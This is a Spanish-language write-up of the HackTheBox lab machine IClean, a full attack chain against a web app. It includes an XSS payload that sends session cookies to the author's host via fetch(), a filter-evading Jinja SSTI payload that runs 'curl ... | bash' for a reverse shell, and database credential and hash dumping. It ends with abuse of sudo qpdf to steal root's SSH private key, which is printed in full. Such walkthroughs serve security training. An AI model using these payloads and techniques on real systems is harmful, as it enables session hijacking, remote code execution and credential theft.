IClean es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina IClean 10.10.11.12 a /etc/hosts como iclean.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.12 Nmap scan report for 10.10.11.12 Host is up, received echo-reply ttl 63 (0.13s latency). Scanned at 2024-04-17 22:40:25 CEST for 18s Not shown: 59126 closed tcp ports (reset), 6407 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Wed Apr 17 22:40:43 2024 -- 1 IP address (1 host up) scanned in 18.39 seconds |
Detectados los puertos abiertos analizamos más en detalle los mismos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.12 Nmap scan report for 10.10.11.12 Host is up (0.20s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA) |_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Apr 17 22:43:19 2024 -- 1 IP address (1 host up) scanned in 11.71 seconds |
Enumeración
Accedemos al portal web del puerto 80 y nos redirecciona al dominio capiclean.htb, así que lo añadimos al fichero hosts y al acceder vemos la siguiente página web

Navegamos por el portal, enumeramos directorios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
$ feroxbuster -u http://capiclean.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.2 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://capiclean.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.2 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 88l 159w 2106c http://capiclean.htb/login 302 GET 5l 22w 189c http://capiclean.htb/logout => http://capiclean.htb/ 200 GET 369l 1201w 9644c http://capiclean.htb/static/js/custom.js 200 GET 193l 579w 8592c http://capiclean.htb/services 200 GET 3l 50w 1779c http://capiclean.htb/static/images/map-icon.png 200 GET 5l 46w 1384c http://capiclean.htb/static/images/search-icon.png 200 GET 90l 181w 2237c http://capiclean.htb/quote 200 GET 15l 110w 7039c http://capiclean.htb/static/images/logo.png 200 GET 154l 399w 6084c http://capiclean.htb/choose 200 GET 3l 39w 1008c http://capiclean.htb/static/images/toggle-icon.png 200 GET 6l 44w 1013c http://capiclean.htb/static/css/owl.theme.default.min.css 200 GET 3l 17w 1061c http://capiclean.htb/static/images/favicon.png 200 GET 4l 53w 2119c http://capiclean.htb/static/images/twitter-icon.png 200 GET 213l 1380w 11324c http://capiclean.htb/static/js/jquery-3.0.0.min.js 200 GET 3l 56w 2181c http://capiclean.htb/static/images/icon-1.png 200 GET 8l 63w 2400c http://capiclean.htb/static/images/call-icon.png 200 GET 6l 73w 3248c http://capiclean.htb/static/css/owl.carousel.min.css 200 GET 8l 53w 2064c http://capiclean.htb/static/images/icon-2.png 200 GET 446l 1347w 11748c http://capiclean.htb/static/css/responsive.css 200 GET 5l 57w 2262c http://capiclean.htb/static/images/instagram-icon.png 200 GET 4l 53w 1995c http://capiclean.htb/static/images/fb-icon.png 200 GET 5l 52w 2215c http://capiclean.htb/static/images/linkden-icon.png 200 GET 130l 355w 5267c http://capiclean.htb/about 200 GET 1l 870w 42839c http://capiclean.htb/static/css/jquery.mCustomScrollbar.min.css 200 GET 229l 1282w 93801c http://capiclean.htb/static/images/img-5.png 200 GET 167l 997w 83329c http://capiclean.htb/static/images/img-7.png 200 GET 332l 1920w 144448c http://capiclean.htb/static/images/img-2.png 200 GET 183l 564w 8109c http://capiclean.htb/team 200 GET 872l 1593w 16549c http://capiclean.htb/static/css/style.css 200 GET 605l 3945w 299706c http://capiclean.htb/static/images/img-3.png 200 GET 5l 1287w 87088c http://capiclean.htb/static/js/jquery.min.js 200 GET 180l 1125w 84070c http://capiclean.htb/static/images/img-6.png 200 GET 3448l 10094w 89992c http://capiclean.htb/static/js/owl.carousel.js 200 GET 7l 896w 70808c http://capiclean.htb/static/js/bootstrap.bundle.min.js 200 GET 623l 3867w 281026c http://capiclean.htb/static/images/img-1.png 200 GET 162l 931w 80352c http://capiclean.htb/static/images/img-4.png 200 GET 5l 478w 45479c http://capiclean.htb/static/js/jquery.mCustomScrollbar.concat.min.js 200 GET 7l 1604w 140421c http://capiclean.htb/static/css/bootstrap.min.css 200 GET 6l 352w 19190c http://capiclean.htb/static/js/popper.min.js 200 GET 1l 153w 22994c http://capiclean.htb/static/js/jquery.fancybox.min.js 200 GET 18950l 75725w 918708c http://capiclean.htb/static/js/plugin.js 200 GET 349l 1208w 16697c http://capiclean.htb/ 302 GET 5l 22w 189c http://capiclean.htb/dashboard => http://capiclean.htb/ 405 GET 5l 20w 153c http://capiclean.htb/sendMessage |
Hacemos alguna prueba y encontramos un formulario interesante

En la misma, después de varias pruebas, encontramos que es vulnerable a XSS con el siguiente payload
|
1 |
<img src="http://10.10.14.5"></img> |
Del cual obtenemos respuesta en nuestra escucha
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.12 - - [17/Apr/2024 22:55:44] "GET / HTTP/1.1" 200 - |
Viendo la vulnerabilidad vamos a tratar de obtener la cookie del usuario con el siguiente payload
|
1 |
<img src=x onerror=fetch('http://10.10.14.5/?c='+document.cookie);> |
Encodeamos credenciales y enviamos y obtendremos la cookie
|
1 2 3 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.12 - - [17/Apr/2024 23:04:05] "GET /?c=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZiAzbw.Mio0Zf9YYY7YbuAuySK63Y5BKRc HTTP/1.1" 200 - |
Con la cookie obtenida, la añadimos en el navegador y nos vamos al dashboard, donde vemos la siguiente ventana

Una vez dentro revisamos las diferentes opciones disponibles y vamos a crear una factura, la cual nos dará un identificador

Con el id generado podemos crear un qr y descargar el contenido de la factura

Hacemos varias pruebas en este formulario e identificamos una vulnerabilidad de SSTI con el siguiente payload
|
1 |
`{{7*7}}` |
El cual nos devuelve en la factura generada el valor 49, así que vamos a buscar en google payloads al respecto, encontrando una página con ejemplos de ello.
Por lo que enviaremos el siguiente payload
|
1 |
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.10.14.5/shell | bash")|attr("read")()}} |
Y conseguiremos una shell con www-data
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.11.12] 37852 bash: cannot set terminal process group (1208): Inappropriate ioctl for device bash: no job control in this shell www-data@iclean:/opt/app$ whoami whoami www-data www-data@iclean:/opt/app$ |
Encontramos un fichero app.py en la ruta donde accedemos y obtenemos las credenciales de la ddbb
|
1 2 3 4 5 6 7 8 9 |
www-data@iclean:/opt/app$ cat app.py | grep "Database Configuration" -A6 cat app.py | grep "Database Configuration" -A6 # Database Configuration db_config = { 'host': '127.0.0.1', 'user': 'iclean', 'password': 'pxCsmnGLckUb', 'database': 'capiclean' } |
gracias a las cuales obtenemos los hashes de los usuarios existentes en la aplicación
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
mysql> show tables; show tables; +---------------------+ | Tables_in_capiclean | +---------------------+ | quote_requests | | services | | users | +---------------------+ 3 rows in set (0.00 sec) mysql> select * from users; select * from users; +----+----------+------------------------------------------------------------------+----------------------------------+ | id | username | password | role_id | +----+----------+------------------------------------------------------------------+----------------------------------+ | 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 | | 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee | +----+----------+------------------------------------------------------------------+----------------------------------+ 2 rows in set (0.00 sec) |
Para facilitar la tarea nos vamos a crackstation y sacamos una de las passwords

Y que pertenece al usuario consuela.
Obteniendo la flag de user
Con las credenciales obtenidas, accedemos por ssh y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ ssh consuela@iclean.htb consuela@iclean.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Thu Apr 18 08:53:32 PM UTC 2024 Expanded Security Maintenance for Applications is not enabled. 3 updates can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update You have mail. consuela@iclean:~$ id uid=1000(consuela) gid=1000(consuela) groups=1000(consuela) consuela@iclean:~$ ls -l total 4 -rw-r----- 1 root consuela 33 Apr 18 20:45 user.txt consuela@iclean:~$ cat user.txt 2b45f863c0e7a57fe9690c55a16ec731 consuela@iclean:~$ |
Escalado de privilegios
Una vez dentro, revisamos que permisos tiene el usuario
|
1 2 3 4 5 6 7 |
consuela@iclean:~$ sudo -l [sudo] password for consuela: Matching Defaults entries for consuela on iclean: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User consuela may run the following commands on iclean: (ALL) /usr/bin/qpdf |
Y podemos ejecurtar como root el binario de qpdf, que visitando la wikipedia
QPDF es tanto una biblioteca de software como un programa de línea de comandos gratuito que puede convertir un archivo PDF en otro archivo PDF equivalente. Es capaz de realizar transformaciones como linealización, cifrado y descifrado de archivos PDF
Así que revisamos la documentación de qpdf y nos fijamos en los siguientes parámetros
- empty -> pintara los datos en un nuevo fichero vacio
- qdf -> generara un fichero pdf con el resultado
- add-attachment -> añadira el contenido del fichero indicado
Por lo que vamos a intentar obtener la clave rsa de root con el siguiente comando
|
1 |
consuela@iclean:~$ sudo /usr/bin/qpdf -empty /tmp/key.txt -qdf -add-attachment /root/.ssh/id_rsa -- |
Revisamos si se ha creado el fichero
|
1 2 |
consuela@iclean:~$ ls -l /tmp/key.txt -rw-r--r-- 1 root root 1555 Apr 18 20:58 /tmp/key.txt |
Y obtenemos la clave de root de su interior
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 |
consuela@iclean:~$ cat /tmp/key.txt %PDF-1.3 %���� %QDF-1.0 %% Original object ID: 1 0 1 0 obj << /Names << /EmbeddedFiles 2 0 R >> /PageMode /UseAttachments /Pages 3 0 R /Type /Catalog >> endobj %% Original object ID: 5 0 2 0 obj << /Names [ (id_rsa) 4 0 R ] >> endobj %% Original object ID: 2 0 3 0 obj << /Count 0 /Kids [ ] /Type /Pages >> endobj %% Original object ID: 4 0 4 0 obj << /EF << /F 5 0 R /UF 5 0 R >> /F (id_rsa) /Type /Filespec /UF (id_rsa) >> endobj %% Original object ID: 3 0 5 0 obj << /Params << /CheckSum <bb34da3f74ca5fb11f4ccbc393e113bc> /CreationDate (D:20240418205836Z) /ModDate (D:20240418205836Z) /Size 505 >> /Type /EmbeddedFile /Length 6 0 R >> stream -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B AgMEBQ== -----END OPENSSH PRIVATE KEY----- endstream endobj 6 0 obj 505 endobj xref 0 7 0000000000 65535 f 0000000052 00000 n 0000000203 00000 n 0000000290 00000 n 0000000379 00000 n 0000000516 00000 n 0000001250 00000 n trailer << /Root 1 0 R /Size 7 /ID [<982b91b85aa1d15c6d3fe05c68fd2a37><982b91b85aa1d15c6d3fe05c68fd2a37>] >> startxref 1270 %%EOF |
Obteniendo la flag de root
Con la key de root, accedemos por ssh y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ ssh -i root.pem root@iclean.htb Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Thu Apr 18 09:01:32 PM UTC 2024 Expanded Security Maintenance for Applications is not enabled. 3 updates can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings root@iclean:~# id uid=0(root) gid=0(root) groups=0(root) root@iclean:~# ls -l total 8 -rw-r----- 1 root root 33 Apr 18 20:45 root.txt drwxr-xr-x 2 root root 4096 Mar 7 12:13 scripts root@iclean:~# cat root.txt af12ca817d1ad2f8ac40e67d44fe7628 root@iclean:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










